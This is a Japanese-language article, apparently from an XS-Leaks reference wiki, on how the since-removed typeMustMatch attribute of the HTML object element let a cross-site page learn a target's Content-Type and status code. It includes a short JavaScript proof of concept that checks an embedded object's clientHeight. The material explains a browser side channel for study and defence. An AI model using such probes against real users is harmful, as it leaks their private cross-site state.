Content-Type
October 1, 2020
リクエストのContent-Typeをリークすることで、攻撃者は2つのリクエストを区別できるようになります。
typeMustMatch #
typeMustMatch
はobject
要素のtypeMustMatch
属性を反映したブール値です。これは、オブジェクトを読み込む際に、リソースのContent-Type
がオブジェクトで提供されるものと同じかどうかを検証することで、特定の MIME タイプを強制しなければならないことを保証します。残念ながら、この強制は攻撃者がウェブサイトから返されるContent-Type
とステータスコードを漏らすことも可能にします 1。
根本的な原因 #
以下のスニペットを考えると、https://target/api
で返された Content-Type
が type
のものと一致しない場合や、サーバが 200
以外のステータスを返した場合には、 not_loaded
がレンダリングされるでしょう。
<object type="application/json"
data="https://example.org"
typemustmatch>
not_loaded </object>
問題 #
攻撃者は、すべての条件が満たされたときに起こるオブジェクトのレンダリングを検出することによって、ウェブサイトのContent-Type
とステータスコードをリークできます。攻撃者は、(ステータスコード200
で)オブジェクトがレンダリングされるとき、0ではないであろうclientHeight
とclientWidth
の値をチェックできます。typeMustMatch
はリソースを読み込む際に、サーバーがステータス200
を返すことを要求するので、Error Events XS-Leaksと同様にエラーページを検出することが可能でしょう。
以下の例では、iframe
内にオブジェクトを埋め込み、iframe
がonload
イベントをトリガーしたときにclientHeight
とclientWidth
の値をチェックすることでこの動作を検出する方法を示しています。
// 配送先のWebサイトのURLを設定する
var url = 'https://example.org';
// チェックしたいコンテンツタイプ
var mime = 'application/json';
var ifr = document.createElement('iframe');
// オブジェクトがonloadイベントを発生させないので、iframe内にオブジェクトをロードする。
ifr.srcdoc = `
<object id="obj" type="${mime}" data="${url}" typemustmatch>
error
</object>`;
document.body.appendChild(ifr);
// iframeが読み込まれたら、オブジェクトの高さを読み取ります。
// もしそれが一行のテキストの高さであれば、リソースのContent Typeは`application/json`ではなかったということです。
// もしそうでなければ、それは`application/json`だったということです。
ifr.onload = () => {
console.log(ifr.contentWindow.obj.clientHeight)
};
修正 #
Firefox は typeMustMatch
属性をサポートする唯一のブラウザでした 2 が、他のブラウザがサポートを提供しなかったため、バージョン 68で削除され、HTML Living Standard からも削除されました。